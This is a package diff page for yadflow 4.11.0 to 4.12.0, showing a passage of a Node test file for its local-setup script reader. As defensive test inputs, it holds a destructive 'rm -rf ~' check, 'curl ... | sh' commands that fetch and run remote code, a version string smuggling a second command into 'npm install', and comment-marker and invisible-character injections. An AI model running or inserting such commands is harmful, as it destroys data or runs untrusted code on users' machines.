yadflow 4.11.0 → 4.12.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (42) hide show
  1. package/CHANGELOG.md +55 -0
  2. package/README.md +2 -0
  3. package/bin/commands.mjs +2 -0
  4. package/bin/yad.mjs +55 -2
  5. package/cli/agent-rules.mjs +26 -1
  6. package/cli/argv-flags.mjs +1 -1
  7. package/cli/brain/view/index.html +1 -1
  8. package/cli/brain/view/live.html +1 -1
  9. package/cli/brain-view.mjs +5 -4
  10. package/cli/brand-cmd.mjs +326 -0
  11. package/cli/brand.mjs +327 -0
  12. package/cli/doctor.mjs +65 -1
  13. package/cli/guide.mjs +26 -3
  14. package/cli/issues.mjs +9 -3
  15. package/cli/local-page.mjs +2 -2
  16. package/cli/local-setup-record.mjs +71 -0
  17. package/cli/local-setup-steps.mjs +186 -0
  18. package/cli/local-setup.mjs +611 -0
  19. package/cli/manifest.mjs +5 -0
  20. package/cli/map/view/index.html +1 -1
  21. package/cli/map-view.mjs +8 -4
  22. package/cli/plain-text.mjs +22 -0
  23. package/cli/plan.mjs +185 -36
  24. package/cli/reconcile.mjs +53 -11
  25. package/cli/reports-dir.mjs +6 -4
  26. package/cli/scan.mjs +3 -5
  27. package/cli/secret-text.mjs +66 -0
  28. package/cli/setup.mjs +25 -4
  29. package/cli/standup.mjs +8 -2
  30. package/cli/test-brand.mjs +558 -0
  31. package/cli/test-guide.mjs +227 -0
  32. package/cli/test-local-setup.mjs +1188 -0
  33. package/cli/toolbox.mjs +15 -1
  34. package/cli/update-commit.mjs +35 -18
  35. package/cli/usage.mjs +9 -3
  36. package/cli/workspace.mjs +11 -2
  37. package/package.json +3 -3
  38. package/skills/sdlc/module-help.csv +1 -0
  39. package/skills/yad-brand/SKILL.md +69 -0
  40. package/skills/yad-checks/templates/hooks/local-setup-notice.mjs +96 -0
  41. package/skills/yad-checks/templates/hooks/yad-activity.mjs +2 -2
  42. package/skills/yad-guide/SKILL.md +9 -6
@@ -0,0 +1,1188 @@
1
+ // E185 — the local setup script (`.sdlc/local-setup.json` + LOCAL-SETUP.md). The rules each test pins:
2
+ // - setup and update write it on a Product, and on nothing else; an old project gets it on its next update;
3
+ // - an update rewrites yad's steps and keeps the team's, byte for byte; a file that does not parse is never
4
+ // rebuilt (it would delete the team's steps);
5
+ // - the hash covers what a step runs, never its wording;
6
+ // - yad runs only its own checks: a team's check is shown, never run;
7
+ // - nothing in a step's words can end yad's block in LOCAL-SETUP.md early;
8
+ // - the steps come from what the Product records, never from what one machine has.
9
+ import { test } from 'node:test';
10
+ import assert from 'node:assert/strict';
11
+ import { spawnSync, execFileSync } from 'node:child_process';
12
+ import fs from 'node:fs';
13
+ import os from 'node:os';
14
+ import path from 'node:path';
15
+ import { fileURLToPath } from 'node:url';
16
+
17
+ // The #280 guard (cli/test.mjs): printed lines go to stderr while the runner owns stdout.
18
+ if (process.env.NODE_TEST_CONTEXT) {
19
+ const write = process.stdout.write;
20
+ for (const k of ['log', 'info']) {
21
+ const orig = console[k];
22
+ console[k] = (...a) => (process.stdout.write === write ? console.error(...a) : orig(...a));
23
+ }
24
+ }
25
+ process.env.YAD_NO_UPDATE_NOTIFIER = '1';
26
+ process.env.YAD_PLATFORM_LOGIN = '0';
27
+ process.env.YAD_PLATFORM_READ = '0';
28
+ process.env.YAD_CAPTURE = '0';
29
+
30
+ const { localSetupActions, localSetupDocLines, localSetupState, localSetupSection, readSteps, mergeLocalSetup, LOCAL_SETUP_MARKERS, runLocalSetupDone, runLocalSetupSkip } = await import('./local-setup.mjs');
31
+ const { localSetupRecordPath, readLocalSetupRecord } = await import('./local-setup-record.mjs');
32
+ const { yadflowSteps, stepHash, LOCAL_SETUP_FILE, LOCAL_SETUP_DOC } = await import('./local-setup-steps.mjs');
33
+ const { applyMarkedBlock } = await import('./marked-block.mjs');
34
+ const { VERSION } = await import('./manifest.mjs');
35
+
36
+ const ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..');
37
+ const YAD = path.join(ROOT, 'bin/yad.mjs');
38
+ const tmp = () => fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'yad-local-setup-')));
39
+ const put = (file, data) => { fs.mkdirSync(path.dirname(file), { recursive: true }); fs.writeFileSync(file, typeof data === 'string' ? data : JSON.stringify(data, null, 2)); };
40
+ const read = (file) => fs.readFileSync(file, 'utf8');
41
+ const applyAll = (actions) => { for (const a of actions) if (!a.writesNothing) a.apply(); };
42
+
43
+ // A Product folder: its config, and git so the committed copy can be read.
44
+ function product(config = { platform: 'none', ledger: 'local' }) {
45
+ const dir = tmp();
46
+ put(path.join(dir, '.sdlc/product.json'), config);
47
+ execFileSync('git', ['init', '-q'], { cwd: dir });
48
+ return dir;
49
+ }
50
+ const teamStep = (extra = {}) => ({
51
+ id: 'docker', title: 'Install Docker', purpose: 'runs the API on your machine', impact: 'adds Docker Desktop',
52
+ when: 'optional', commands: ['brew install --cask docker'], check: { run: 'docker --version' }, addedBy: 'Dev', ...extra,
53
+ });
54
+
55
+ test('setup and update write the script on a Product, as `new`; a folder with no Product gets nothing', () => {
56
+ const dir = product();
57
+ const actions = localSetupActions(dir);
58
+ assert.deepEqual(actions.map((a) => [a.item, a.status]), [[LOCAL_SETUP_FILE, 'new'], [LOCAL_SETUP_DOC, 'new']]);
59
+ // Shared files, like AGENTS.md: `--push` never stages them, `--open-pr` carries them.
60
+ for (const a of actions) { assert.deepEqual(a.paths, []); assert.equal(a.shared, a.item); }
61
+ applyAll(actions);
62
+ const doc = JSON.parse(read(path.join(dir, LOCAL_SETUP_FILE)));
63
+ assert.deepEqual(doc.team, []);
64
+ assert.ok(doc.yadflow.some((s) => s.id === 'yadflow-cli'));
65
+ assert.match(read(path.join(dir, LOCAL_SETUP_DOC)), /# Local setup/);
66
+ // A second plan finds nothing to do.
67
+ assert.deepEqual(localSetupActions(dir).map((a) => a.status), ['ok', 'ok']);
68
+
69
+ assert.deepEqual(localSetupActions(tmp()), []);
70
+ });
71
+
72
+ test('an update rewrites yad\'s steps and keeps the team\'s steps and the team\'s text around the block', () => {
73
+ const dir = product();
74
+ applyAll(localSetupActions(dir));
75
+ const file = path.join(dir, LOCAL_SETUP_FILE);
76
+ const doc = JSON.parse(read(file));
77
+ doc.team = [teamStep()];
78
+ doc.yadflow[0].title = 'an old title';
79
+ doc.teamNote = 'kept';
80
+ put(file, doc);
81
+ fs.appendFileSync(path.join(dir, LOCAL_SETUP_DOC), '\nOur own notes.\n');
82
+
83
+ const actions = localSetupActions(dir);
84
+ assert.deepEqual(actions.map((a) => a.status), ['outdated', 'outdated']);
85
+ applyAll(actions);
86
+ const after = JSON.parse(read(file));
87
+ assert.deepEqual(after.team, [teamStep()]);
88
+ assert.equal(after.teamNote, 'kept');
89
+ assert.equal(after.yadflow[0].title, yadflowSteps(dir)[0].title);
90
+ const text = read(path.join(dir, LOCAL_SETUP_DOC));
91
+ assert.ok(text.endsWith('\nOur own notes.\n'));
92
+ assert.match(text, /Install Docker/);
93
+ assert.match(text, /added by your team \(Dev\), not vetted by yadflow/);
94
+ });
95
+
96
+ test('a script that does not parse, or whose team list is not a list, is left as it is', () => {
97
+ for (const bad of ['{not json', JSON.stringify({ team: 'docker' }), JSON.stringify([1, 2])]) {
98
+ const dir = product();
99
+ put(path.join(dir, LOCAL_SETUP_FILE), bad);
100
+ const actions = localSetupActions(dir);
101
+ assert.equal(actions.length, 1, 'the view is not rebuilt from a file yad cannot read');
102
+ assert.equal(actions[0].status, 'modified');
103
+ assert.equal(actions[0].writesNothing, true);
104
+ actions[0].apply();
105
+ assert.equal(read(path.join(dir, LOCAL_SETUP_FILE)), bad);
106
+ }
107
+ assert.equal(mergeLocalSetup({ team: {} }, product()).unreadable, '`team` is not a list');
108
+ });
109
+
110
+ test('the hash covers what a step runs and how it is checked, never its words', () => {
111
+ const s = teamStep();
112
+ assert.equal(stepHash(s), stepHash({ ...s, title: 'Get Docker', purpose: 'other words', impact: 'other words' }));
113
+ assert.notEqual(stepHash(s), stepHash({ ...s, commands: ['brew install docker'] }));
114
+ assert.notEqual(stepHash(s), stepHash({ ...s, check: { run: 'docker info' } }));
115
+ assert.notEqual(stepHash(s), stepHash({ ...s, when: 'required' }));
116
+ });
117
+
118
+ test('a step that is not sound is left out and named; a second one with the same id too', () => {
119
+ const { steps, problems } = readSteps({
120
+ yadflow: [{ ...teamStep({ id: 'x' }), check: { run: 'rm -rf ~' } }],
121
+ team: [teamStep(), teamStep(), { id: 'Bad Id' }, teamStep({ id: 'no-commands', commands: [] })],
122
+ });
123
+ assert.deepEqual(steps.map((s) => s.id), ['docker']);
124
+ assert.equal(problems.length, 4);
125
+ assert.ok(problems.some((p) => /yadflow step `x` is ignored — its check is not one yad knows/.test(p)));
126
+ assert.ok(problems.some((p) => /listed twice/.test(p)));
127
+ assert.equal(readSteps({ team: 'x' }).problems.length, 1);
128
+ });
129
+
130
+ test('yad runs its own checks and never a team\'s: a team step is `ask`', () => {
131
+ const dir = product();
132
+ const marker = path.join(dir, 'ran');
133
+ put(path.join(dir, LOCAL_SETUP_FILE), {
134
+ yadflow: [{ id: 'yadflow-cli', title: 't', purpose: 'p', impact: 'i', when: 'required', commands: ['c'], check: { builtin: 'cli-version', min: '999.0.0' } }],
135
+ team: [teamStep({ check: { run: `node -e "require('fs').writeFileSync('${marker.replace(/\\/g, '/')}', '')"` } })],
136
+ });
137
+ const st = localSetupState(dir, { items: [] });
138
+ assert.equal(st.committed, false);
139
+ // A yadflow step yad did not write is the person's to decide too: its check is the file's.
140
+ assert.deepEqual(st.steps.map((s) => [s.id, s.state]), [['yadflow-cli', 'ask'], ['docker', 'ask']]);
141
+ assert.equal(fs.existsSync(marker), false, 'a team check must never run');
142
+
143
+ // yad's own steps are checked here: `ok` when done, `pending` when not (no hook in this new clone).
144
+ const verified = product({ platform: 'github', ledger: 'verified' });
145
+ applyAll(localSetupActions(verified));
146
+ const by = Object.fromEntries(localSetupState(verified, { items: [] }).steps.map((s) => [s.id, s.state]));
147
+ assert.equal(by['yadflow-cli'], 'ok');
148
+ assert.equal(by['ledger-hook'], 'pending');
149
+ });
150
+
151
+ test('a step holding a comment marker is refused, nested ones too, so the view can never get a second marker line', () => {
152
+ // Taking one `<!--` out of the second would join its letters into a new one: the step is refused instead.
153
+ for (const bad of [`x ${LOCAL_SETUP_MARKERS.end}`, '<<!--!-- yadflow:local-setup:end --<!-->', 'a --> b', 'a <!-- b', 'a --!> b']) {
154
+ for (const field of ['title', 'purpose', 'impact', 'verify', 'addedBy']) {
155
+ const { steps, problems } = readSteps({ team: [teamStep({ [field]: bad })] });
156
+ assert.deepEqual(steps, [], `${field}: ${bad}`);
157
+ assert.match(problems[0], /holds `<!--`, `-->` or `--!>`/);
158
+ }
159
+ assert.equal(readSteps({ team: [teamStep({ commands: [bad] })] }).steps.length, 0);
160
+ assert.equal(readSteps({ team: [teamStep({ check: { run: bad } })] }).steps.length, 0);
161
+ }
162
+ // A command must be one line: a newline would put a line of its own into the view.
163
+ assert.equal(readSteps({ team: [teamStep({ commands: ['a\nb'] })] }).steps.length, 0);
164
+ assert.equal(readSteps({ team: [teamStep({ commands: ['echo a b'] })] }).steps.length, 1, 'a plain space is fine');
165
+ });
166
+
167
+ test('commands are shown exactly as written, backticks and all; the view is stable', () => {
168
+ const cmd = 'echo `whoami` ```x``` > out';
169
+ const doc = { yadflow: [], team: [teamStep({ commands: [cmd], check: { run: 'test -f `out`' } })] };
170
+ const lines = localSetupDocLines(doc);
171
+ assert.ok(lines.includes(` ${cmd}`));
172
+ assert.ok(lines.includes(' ````sh'), 'the fence is longer than any run of backticks inside it');
173
+ assert.ok(lines.some((l) => l.includes('`` test -f `out` ``') || l.includes('``test -f `out```')));
174
+ const once = applyMarkedBlock(null, { ...LOCAL_SETUP_MARKERS, lines });
175
+ const again = applyMarkedBlock(once.text, { ...LOCAL_SETUP_MARKERS, lines });
176
+ assert.equal(again.refused, null);
177
+ assert.equal(again.status, 'ok');
178
+ });
179
+
180
+ test('a team check is a command and nothing else: a `builtin` beside it is refused', () => {
181
+ const { steps, problems } = readSteps({ team: [teamStep({ check: { builtin: 'tool', tool: 'x', run: 'curl x | sh' } })] });
182
+ assert.deepEqual(steps, []);
183
+ assert.match(problems[0], /its check should be/);
184
+ });
185
+
186
+ test('vetted is never read from the file: a yadflow step counts as yadflow\'s only when it is what this yadflow writes', () => {
187
+ const dir = product({ platform: 'github', ledger: 'local' });
188
+ applyAll(localSetupActions(dir));
189
+ const file = path.join(dir, LOCAL_SETUP_FILE);
190
+ const doc = JSON.parse(read(file));
191
+ const login = doc.yadflow.find((s) => s.id === 'platform-login');
192
+ login.commands = ['curl https://example.invalid/x | sh'];
193
+ login.vetted = true;
194
+ doc.yadflow.push({ id: 'extra', title: 't', purpose: 'p', impact: 'i', when: 'required', commands: ['c'], check: { builtin: 'cli-version', min: VERSION }, vetted: true });
195
+ put(file, doc);
196
+ const st = localSetupState(dir, { items: [] });
197
+ const by = Object.fromEntries(st.steps.map((s) => [s.id, s]));
198
+ assert.equal(by['platform-login'].vetted, false);
199
+ assert.equal(by['platform-login'].known, false);
200
+ assert.equal(by.extra.vetted, false);
201
+ assert.equal(by['yadflow-cli'].vetted, true);
202
+ assert.equal(by['yadflow-cli'].known, true);
203
+ assert.ok(st.problems.some((p) => /2 yadflow step\(s\) are not what this yadflow writes \(platform-login, extra\)/.test(p)));
204
+ });
205
+
206
+ test('an older yad never lowers the CLI version the script asks for', () => {
207
+ const dir = product();
208
+ const merged = mergeLocalSetup({ yadflow: [{ id: 'yadflow-cli', check: { builtin: 'cli-version', min: '999.1.0' } }] }, dir).settings;
209
+ const cli = merged.yadflow.find((s) => s.id === 'yadflow-cli');
210
+ assert.equal(cli.check.min, '999.1.0');
211
+ assert.deepEqual(cli.commands, ['npm install -g yadflow@999.1.0']);
212
+ // An older or unreadable one is raised to this release.
213
+ for (const min of ['0.1.0', 'not a version', undefined]) {
214
+ assert.equal(mergeLocalSetup({ yadflow: [{ id: 'yadflow-cli', check: { min } }] }, dir).settings.yadflow[0].check.min, VERSION);
215
+ }
216
+ });
217
+
218
+ test('while the team steps on disk are not committed, the view does not ride an update PR', () => {
219
+ const dir = product();
220
+ applyAll(localSetupActions(dir));
221
+ execFileSync('git', ['add', '-A'], { cwd: dir });
222
+ execFileSync('git', ['-c', 'user.name=T', '-c', 'user.email=t@t', 'commit', '-qm', 'one', '--no-verify'], { cwd: dir });
223
+ assert.equal(localSetupActions(dir)[1].shared, LOCAL_SETUP_DOC);
224
+ const file = path.join(dir, LOCAL_SETUP_FILE);
225
+ const doc = JSON.parse(read(file));
226
+ doc.team = [teamStep()];
227
+ put(file, doc);
228
+ const view = localSetupActions(dir)[1];
229
+ assert.equal(view.shared, undefined);
230
+ assert.equal(view.status, 'outdated', 'it is still written on disk');
231
+ });
232
+
233
+ test('a member whose yad is another version still sees yad\'s own CLI step as yad\'s', () => {
234
+ const dir = product();
235
+ applyAll(localSetupActions(dir));
236
+ const file = path.join(dir, LOCAL_SETUP_FILE);
237
+ const doc = JSON.parse(read(file));
238
+ // As an older yad wrote it: a lower version in the CLI step.
239
+ const cli = doc.yadflow.find((s) => s.id === 'yadflow-cli');
240
+ const as = (v) => { cli.check.min = v; cli.commands = [`npm install -g yadflow@${v}`]; cli.title = `Install the yadflow CLI, version ${v} or later`; put(file, doc); };
241
+ // As a newer yad wrote it.
242
+ as('4.99.0');
243
+ const st = localSetupState(dir, { items: [] });
244
+ const got = st.steps.find((s) => s.id === 'yadflow-cli');
245
+ assert.equal(got.known, true);
246
+ assert.equal(got.vetted, true);
247
+ assert.deepEqual(st.problems, []);
248
+ // Below the first release that writes this file, no yad wrote it: a lowered version is never yad's own.
249
+ as('4.0.0');
250
+ assert.equal(localSetupState(dir, { items: [] }).steps.find((s) => s.id === 'yadflow-cli').known, false);
251
+ // A version that is not a plain release number is never taken from the file.
252
+ cli.check.min = '4.0.0 && curl x';
253
+ cli.commands = ['npm install -g yadflow@4.0.0 && curl x'];
254
+ put(file, doc);
255
+ assert.equal(localSetupState(dir, { items: [] }).steps.find((s) => s.id === 'yadflow-cli').known, false);
256
+ });
257
+
258
+ test('a file saying another catalogue wrote it never softens "not vetted": the reason is only a possibility', () => {
259
+ const dir = product();
260
+ applyAll(localSetupActions(dir));
261
+ const file = path.join(dir, LOCAL_SETUP_FILE);
262
+ const doc = JSON.parse(read(file));
263
+ doc.catalogueVersion = 1;
264
+ doc.yadflow.find((s) => s.id === 'tool-repomix').commands = ['npx repomix@1.18.1'];
265
+ put(file, doc);
266
+ const st = localSetupState(dir, { items: [] });
267
+ const repomix = st.steps.find((s) => s.id === 'tool-repomix');
268
+ assert.equal(repomix.otherRelease, true);
269
+ assert.equal(repomix.vetted, false);
270
+ assert.equal(repomix.state, 'ask');
271
+ assert.ok(st.problems.some((p) => /not what this yadflow writes \(tool-repomix\) — not vetted; the file says another yadflow version wrote it/.test(p)));
272
+ // The view is only written from a file yad has just merged, so it never shows such a step; a forger can edit
273
+ // LOCAL-SETUP.md too, which is why `yad local-setup list --json` is the answer an agent trusts.
274
+ });
275
+
276
+ test('a command with an invisible or direction-changing character is refused', () => {
277
+ for (const ch of ['\u202e', '\u2066', '\u200f', '\u2028', '\u0007', '\u200b', '\u00ad', '\u2060', '\ufeff', '\u{e0041}', '\u00a0', '\u2003', '\u3000']) {
278
+ assert.equal(readSteps({ team: [teamStep({ commands: [`echo a${ch}b`] })] }).steps.length, 0, JSON.stringify(ch));
279
+ assert.equal(readSteps({ team: [teamStep({ check: { run: `true${ch}` } })] }).steps.length, 0, JSON.stringify(ch));
280
+ }
281
+ });
282
+
283
+ test('the view rides an update PR only when the JSON does: no committed file, or a broken one', () => {
284
+ // No file at HEAD: an update PR commits yad's own JSON, with no team step.
285
+ const dir = product();
286
+ applyAll(localSetupActions(dir));
287
+ assert.equal(localSetupActions(dir)[1].shared, LOCAL_SETUP_DOC);
288
+ const file = path.join(dir, LOCAL_SETUP_FILE);
289
+ const doc = JSON.parse(read(file));
290
+ doc.team = [teamStep()];
291
+ put(file, doc);
292
+ assert.equal(localSetupActions(dir)[1].shared, undefined, 'a team step that is not committed');
293
+ // A broken file at HEAD: the JSON never rides, so neither does the view.
294
+ const broken = product();
295
+ put(path.join(broken, LOCAL_SETUP_FILE), '{broken');
296
+ execFileSync('git', ['add', '-A'], { cwd: broken });
297
+ execFileSync('git', ['-c', 'user.name=T', '-c', 'user.email=t@t', 'commit', '-qm', 'one', '--no-verify'], { cwd: broken });
298
+ put(path.join(broken, LOCAL_SETUP_FILE), '{}');
299
+ assert.equal(localSetupActions(broken)[1].shared, undefined);
300
+ // And the machine section says the committed file is broken.
301
+ assert.equal(localSetupSection(broken).error, 'does not parse');
302
+ assert.equal(localSetupSection(dir).error, null);
303
+ });
304
+
305
+ test('a team toolbox tool whose words yad\'s reader would refuse is left out when yad writes its step', () => {
306
+ const dir = product();
307
+ put(path.join(dir, '.sdlc/toolbox.json'), { custom: [{ id: 'ours', role: 'does a thing', fallback: 'nothing', detect: { bins: ['ours'] }, install: [{ type: 'script', command: 'echo <!-- x' }] }] });
308
+ const ids = mergeLocalSetup({}, dir).settings.yadflow.map((s) => s.id);
309
+ assert.ok(!ids.includes('tool-ours'), ids.join());
310
+ put(path.join(dir, '.sdlc/toolbox.json'), { custom: [{ id: 'ours', role: 'does a thing', fallback: 'nothing', detect: { bins: ['ours'] }, install: [{ type: 'script', command: 'brew install ours' }] }] });
311
+ const step = mergeLocalSetup({}, dir).settings.yadflow.find((s) => s.id === 'tool-ours');
312
+ assert.deepEqual(step.commands, ['brew install ours']);
313
+ assert.equal(step.vetted, false);
314
+ });
315
+
316
+ test('the machine section puts team steps and steps yad did not write on separate lines; only the second says not vetted', () => {
317
+ const dir = product();
318
+ applyAll(localSetupActions(dir));
319
+ const file = path.join(dir, LOCAL_SETUP_FILE);
320
+ const doc = JSON.parse(read(file));
321
+ doc.team = [teamStep()];
322
+ doc.yadflow.push({ id: 'extra', title: 't', purpose: 'p', impact: 'i', when: 'required', commands: ['c'], check: { builtin: 'cli-version', min: VERSION } });
323
+ put(file, doc);
324
+ const lines = [];
325
+ // Both: lines go to stderr while a --json run is open (cli/lib.mjs `log`).
326
+ const orig = { log: console.log, error: console.error };
327
+ console.log = (...a) => lines.push(a.join(' '));
328
+ console.error = (...a) => lines.push(a.join(' '));
329
+ let res;
330
+ try { res = localSetupSection(dir); } finally { Object.assign(console, orig); }
331
+ const team = lines.find((l) => /from your team, to check with you: docker$/.test(l));
332
+ const odd = lines.find((l) => /not what this yadflow writes — not vetted, to check with you: extra$/.test(l));
333
+ assert.ok(team && !/not vetted/.test(team), lines.join('\n'));
334
+ assert.ok(odd, lines.join('\n'));
335
+ assert.deepEqual(res.unvetted, ['extra']);
336
+ assert.ok(res.ask.includes('docker') && res.ask.includes('extra'));
337
+ assert.equal(res.error, null);
338
+ });
339
+
340
+ test('a script with a byte-order mark is read; a broken one is said to exist, with its error', () => {
341
+ const dir = product();
342
+ applyAll(localSetupActions(dir));
343
+ const file = path.join(dir, LOCAL_SETUP_FILE);
344
+ put(file, `\ufeff${read(file)}`);
345
+ assert.equal(localSetupActions(dir)[0].writesNothing, undefined);
346
+ assert.ok(localSetupState(dir, { items: [] }).steps.length > 0);
347
+ put(file, '{broken');
348
+ const st = localSetupState(dir, { items: [] });
349
+ assert.equal(st.exists, true);
350
+ assert.equal(st.error, 'does not parse');
351
+ assert.equal(localSetupState(product(), { items: [] }).exists, false);
352
+ });
353
+
354
+ test('the steps come from what the Product records: platform, ledger and the team\'s tool choices', () => {
355
+ const ids = (config, toolbox) => {
356
+ const dir = product(config);
357
+ if (toolbox) put(path.join(dir, '.sdlc/toolbox.json'), toolbox);
358
+ return yadflowSteps(dir).map((s) => s.id);
359
+ };
360
+ const plain = ids({ platform: 'none', ledger: 'local' });
361
+ assert.deepEqual(plain.filter((i) => !i.startsWith('tool-')), ['yadflow-cli']);
362
+ assert.ok(plain.includes('tool-repomix'));
363
+ assert.deepEqual(ids({ platform: 'github', ledger: 'local' }).slice(0, 2), ['yadflow-cli', 'platform-login']);
364
+ const verified = ids({ platform: 'gitlab', ledger: 'verified' });
365
+ assert.ok(verified.includes('ledger-hook') && verified.includes('commit-signing'));
366
+ assert.ok(!ids({ platform: 'none' }, { shipped: { repomix: 'skip' } }).includes('tool-repomix'));
367
+ // The CLI step names this release: each release's update asks each machine again.
368
+ assert.equal(yadflowSteps(product())[0].commands[0], `npm install -g yadflow@${VERSION}`);
369
+ // A shipped tool's step is its E165 recipe; a team's own tool keeps the team's install commands.
370
+ assert.deepEqual(yadflowSteps(product()).find((s) => s.id === 'tool-repomix').commands, ['yad toolbox connect repomix --json']);
371
+ // A person's step says so: the agent hands it over.
372
+ assert.equal(yadflowSteps(product({ platform: 'github' })).find((s) => s.id === 'platform-login').person, true);
373
+ });
374
+
375
+ // ---- through the CLI ------------------------------------------------------------------------------------
376
+
377
+ function env(T) {
378
+ const home = path.join(T, '.home');
379
+ fs.mkdirSync(home, { recursive: true });
380
+ const cfg = path.join(home, 'gitconfig');
381
+ if (!fs.existsSync(cfg)) fs.writeFileSync(cfg, '[user]\n\tname = Dev\n\temail = dev@example.com\n[init]\n\tdefaultBranch = main\n[commit]\n\tgpgsign = false\n');
382
+ const e = { ...process.env, HOME: home, USERPROFILE: home, GIT_CONFIG_GLOBAL: cfg, GIT_CONFIG_NOSYSTEM: '1', YAD_NO_UPDATE_NOTIFIER: '1', NO_COLOR: '1', YAD_CAPTURE: '0', YAD_PLATFORM_LOGIN: '0', YAD_PLATFORM_READ: '0', YAD_NO_REPORT: '1' };
383
+ delete e.SDLC_NONINTERACTIVE;
384
+ delete e.NODE_TEST_CONTEXT;
385
+ return e;
386
+ }
387
+ const yad = (T, cwd, args) => {
388
+ const r = spawnSync(process.execPath, [YAD, ...args], { cwd, env: env(T), encoding: 'utf8', timeout: 120_000 });
389
+ let json = null;
390
+ try { json = JSON.parse(r.stdout); } catch { /* not JSON */ }
391
+ return { code: r.status, json, out: r.stdout, err: r.stderr };
392
+ };
393
+
394
+ test('yad new writes the script; an old project gets it back on its next update; list reads the committed copy', () => {
395
+ const T = tmp();
396
+ const made = yad(T, T, ['new', 'acme', '--json', '--solo', '--monorepo', '--no-tools', '--ide-targets', '.claude', '--platform', 'none', '--connect', 'none']);
397
+ assert.equal(made.code, 0, made.err);
398
+ const P = path.join(T, 'acme', 'product');
399
+ assert.ok(fs.existsSync(path.join(P, LOCAL_SETUP_FILE)));
400
+ assert.ok(fs.existsSync(path.join(P, LOCAL_SETUP_DOC)));
401
+
402
+ // A project set up before E185: neither file.
403
+ fs.rmSync(path.join(P, LOCAL_SETUP_FILE));
404
+ fs.rmSync(path.join(P, LOCAL_SETUP_DOC));
405
+ const up = yad(T, P, ['update', '--json']);
406
+ assert.equal(up.code, 0, up.err);
407
+ assert.ok(Array.isArray(up.json.localSetup.pending) && Array.isArray(up.json.localSetup.ask), 'update says what this machine still needs');
408
+ assert.ok(fs.existsSync(path.join(P, LOCAL_SETUP_FILE)));
409
+ assert.ok(fs.existsSync(path.join(P, LOCAL_SETUP_DOC)));
410
+
411
+ const before = yad(T, P, ['local-setup', '--json']);
412
+ assert.equal(before.code, 0, before.err);
413
+ assert.equal(before.json.command, 'local-setup list');
414
+ assert.equal(before.json.committed, false);
415
+ execFileSync('git', ['add', '-A'], { cwd: P, env: env(T) });
416
+ execFileSync('git', ['commit', '-qm', 'setup', '--no-verify'], { cwd: P, env: env(T) });
417
+ const after = yad(T, P, ['local-setup', 'list', '--json']);
418
+ assert.equal(after.json.committed, true);
419
+ assert.equal(typeof after.json.pending, 'number');
420
+ assert.equal(after.json.ask, 0);
421
+ assert.ok(after.json.steps.find((s) => s.id === 'yadflow-cli').state === 'ok');
422
+ assert.equal(yad(T, P, ['local-setup', 'nope']).code, 1);
423
+ assert.equal(yad(T, T, ['local-setup']).code, 1, 'no Product here');
424
+ });
425
+
426
+ // ---- this machine's record (E185 part 2) ---------------------------------------------------------------
427
+
428
+ // A Product with its script written and committed, plus one team step, so the record has something of each kind.
429
+ // Its toolbox has a tool of the team's own that no machine has, so one step yad checks always fails.
430
+ const MISSING_TOOL = { id: 'nowhere', role: 'does a thing', fallback: 'nothing', detect: { bins: ['yad-e185-no-such-program'] }, install: [{ type: 'script', command: 'brew install nowhere' }] };
431
+ function committedProduct(config, team = [teamStep()]) {
432
+ const dir = product(config);
433
+ put(path.join(dir, '.sdlc/toolbox.json'), { custom: [MISSING_TOOL] });
434
+ applyAll(localSetupActions(dir));
435
+ const file = path.join(dir, LOCAL_SETUP_FILE);
436
+ put(file, { ...JSON.parse(read(file)), team });
437
+ const g = (...a) => execFileSync('git', a, { cwd: dir, env: { ...process.env, GIT_CONFIG_GLOBAL: '/dev/null', GIT_CONFIG_NOSYSTEM: '1' } });
438
+ g('add', '-A');
439
+ g('-c', 'user.name=Dev', '-c', 'user.email=dev@example.com', '-c', 'commit.gpgsign=false', 'commit', '-qm', 'setup', '--no-verify');
440
+ return dir;
441
+ }
442
+ const quiet = (fn) => {
443
+ const saved = [console.log, console.error, process.exitCode];
444
+ const lines = [];
445
+ console.log = (...a) => lines.push(a.join(' '));
446
+ console.error = (...a) => lines.push(a.join(' '));
447
+ try { return { value: fn(), lines, code: process.exitCode }; } finally { [console.log, console.error] = saved; process.exitCode = saved[2]; }
448
+ };
449
+ const stateOf = (dir, id, opts) => localSetupState(dir, opts).steps.find((s) => s.id === id);
450
+
451
+ test('the record lives in git\'s own folder, so it is never committed, and every worktree of the clone shares it', () => {
452
+ const dir = committedProduct();
453
+ const file = localSetupRecordPath(dir);
454
+ assert.equal(file, path.join(fs.realpathSync(path.join(dir, '.git')), 'yad', 'local-setup-done.json'));
455
+ quiet(() => runLocalSetupDone(dir, { ids: ['docker'] }));
456
+ assert.ok(fs.existsSync(file));
457
+ assert.equal(execFileSync('git', ['status', '--porcelain'], { cwd: dir, encoding: 'utf8' }), '', 'nothing in the repo changed');
458
+ const wt = path.join(tmp(), 'wt');
459
+ execFileSync('git', ['worktree', 'add', '-q', '--detach', wt], { cwd: dir });
460
+ assert.equal(localSetupRecordPath(wt), file);
461
+ assert.equal(stateOf(wt, 'docker').state, 'done');
462
+ });
463
+
464
+ test('done records a team step; a step yad can check is refused while its check fails, and nothing is written', () => {
465
+ const dir = committedProduct();
466
+ assert.equal(stateOf(dir, 'docker').state, 'ask');
467
+ const r = quiet(() => runLocalSetupDone(dir, { ids: ['docker'] }));
468
+ assert.deepEqual(r.value.done, ['docker']);
469
+ const docker = stateOf(dir, 'docker');
470
+ assert.equal(docker.state, 'done');
471
+ assert.ok(docker.seen && docker.recorded && !docker.changed);
472
+
473
+ // A tool step yad checks, and the tool is not here: its check fails.
474
+ const pending = stateOf(dir, 'tool-nowhere');
475
+ assert.equal(pending.state, 'pending', 'a tool that is not installed here');
476
+ const before = read(localSetupRecordPath(dir));
477
+ const refused = quiet(() => runLocalSetupDone(dir, { ids: ['docker', pending.id] }));
478
+ assert.equal(refused.code, 1);
479
+ assert.equal(read(localSetupRecordPath(dir)), before, 'every id passes or nothing is written');
480
+ assert.equal(quiet(() => runLocalSetupDone(dir, { ids: ['nope'] })).code, 1, 'an id that is not a step');
481
+ assert.equal(quiet(() => runLocalSetupDone(dir, { ids: [] })).code, 1);
482
+ });
483
+
484
+ test('skip needs a reason, holds until the step changes, and done and skip replace each other', () => {
485
+ const dir = committedProduct();
486
+ assert.equal(quiet(() => runLocalSetupSkip(dir, { ids: ['docker'] })).code, 1, 'no reason');
487
